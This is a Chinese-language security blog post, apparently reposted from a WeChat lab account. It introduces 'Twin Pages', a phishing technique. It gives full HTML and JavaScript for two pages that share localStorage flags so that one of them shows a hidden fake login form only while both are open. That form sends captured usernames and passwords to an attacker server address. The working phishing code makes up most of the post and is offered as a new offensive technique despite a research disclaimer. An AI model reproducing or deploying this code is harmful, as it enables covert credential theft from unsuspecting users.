新技术分享——页面双生

admin 2025年1月26日23:25:19评论32 views字数 2983阅读9分56秒阅读模式
该技术其实在2023年末我就分享出来思路了,鉴于现在分享,也是新的一年就要到了,我们会进一步更新所有计划,完成更佳进攻性的实验室转变,顺便讨个好彩头。

目前暂未有APT组织使用此技术。

新技术分享——页面双生

简介

页面双生(Twin Pages)是一种网络钓鱼技术,攻击者通过创建两个相互依赖的网页——主页面和副页面,只有当目标同时打开这两个页面时,副页面才会动态渲染成钓鱼的登录网页。如果主页面或副页面单独打开,则显示正常的页面。页面双生技术利用了目标的浏览习惯和行为模式,使其难以察觉到正在进行的攻击。

构建页面

页面双生技术需要创建两个相互依赖的网页,只有当目标同时打开这两个页面时,副页面才会动态渲染成钓鱼的登录网页。

因此,我们首先需要编写main.html文件作为主页面。

<!DOCTYPE html><html><head>    <title>Main Page</title>    <script>functionmarkMainPageOpen() {            window.name = 'main';            localStorage.setItem('mainPageOpened', 'true');        }functioncheckTwinPage() {if (localStorage.getItem('twinPageOpened') === 'true') {                localStorage.setItem('showPhishing', 'true');            }        }        window.onload = function() {            markMainPageOpen();            checkTwinPage();            window.onbeforeunload = function() {                localStorage.removeItem('mainPageOpened');                localStorage.removeItem('showPhishing');            };        };    </script></head><body>    <h1>Welcome to the Main Page</h1></body></html>

主页面是一个正常的页面,显示合法内容,让用户看起来是个正常的网站。

新技术分享——页面双生

然后,我们编写twin.html文件作为副页面。

<!DOCTYPE html><html><head>    <title>Twin Page</title>    <script>functionmarkTwinPageOpen() {            window.name = 'twin';            localStorage.setItem('twinPageOpened', 'true');        }functioncheckMainPage() {if (localStorage.getItem('mainPageOpened') === 'true') {                localStorage.setItem('showPhishing', 'true');                document.getElementById('phishing-content').style.display = 'block';            } else {                document.getElementById('phishing-content').style.display = 'none';                localStorage.removeItem('showPhishing');            }        }functioncheckPhishingDisplay() {if (localStorage.getItem('showPhishing') === 'true') {                document.getElementById('phishing-content').style.display = 'block';            } else {                document.getElementById('phishing-content').style.display = 'none';            }        }        window.onload = function() {            markTwinPageOpen();            checkMainPage();            window.onbeforeunload = function() {                localStorage.removeItem('twinPageOpened');                localStorage.removeItem('showPhishing');            };        };        setInterval(checkPhishingDisplay, 1000);    </script></head><body>    <h1>Welcome to the Twin Page</h1>    <div id="phishing-content" style="display:none;">        <form action="http://192.168.0.189:5000" method="post">            <label for="username">Username:</label>            <input type="text" id="username" name="username"><br>            <label for="password">Password:</label>            <input type="password" id="password" name="password"><br>            <input type="submit" value="Login">        </form>    </div></body></html>

在代码中,主页面和副页面会通过localStorage标记自身是否打开,并在加载时检查相应的状态,确保单独打开时显示正常内容。

然后使用localStorage和window.name属性判断当两个页面同时打开时,副页面便会根据状态显示钓鱼内容。

接着在主页面和副页面的onbeforeunload事件中清除相应的标记,确保关闭主页面后,副页面恢复为正常内容。

最后在副页面中,通过setInterval定期检查状态,确保页面状态及时更新。

其中,http://192.168.0.189:5000是我们的服务器地址,用来接收登录凭据。

然后,我们单独访问副页面,可以看到也是正常的页面。

新技术分享——页面双生

但是一旦同时打开主页面和副页面,副页面就会显示虚假的登录表单用于窃取登录凭据。

新技术分享——页面双生

当用户在虚假的登录表单中输入登录凭据后,攻击者便会收到窃取到的登录凭据。

新技术分享——页面双生

最后,如果关闭了主页面,我们的副页面会自动渲染为正常的合法页面。

通过利用页面双生技术,攻击者能够在目标毫无察觉的情况下,诱骗目标输入敏感信息并窃取这些信息。

原文始发于微信公众号(Ghost Wolf Lab):新技术分享——页面双生(文末福利)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日23:25:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新技术分享——页面双生https://cn-sec.com/archives/3678711.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息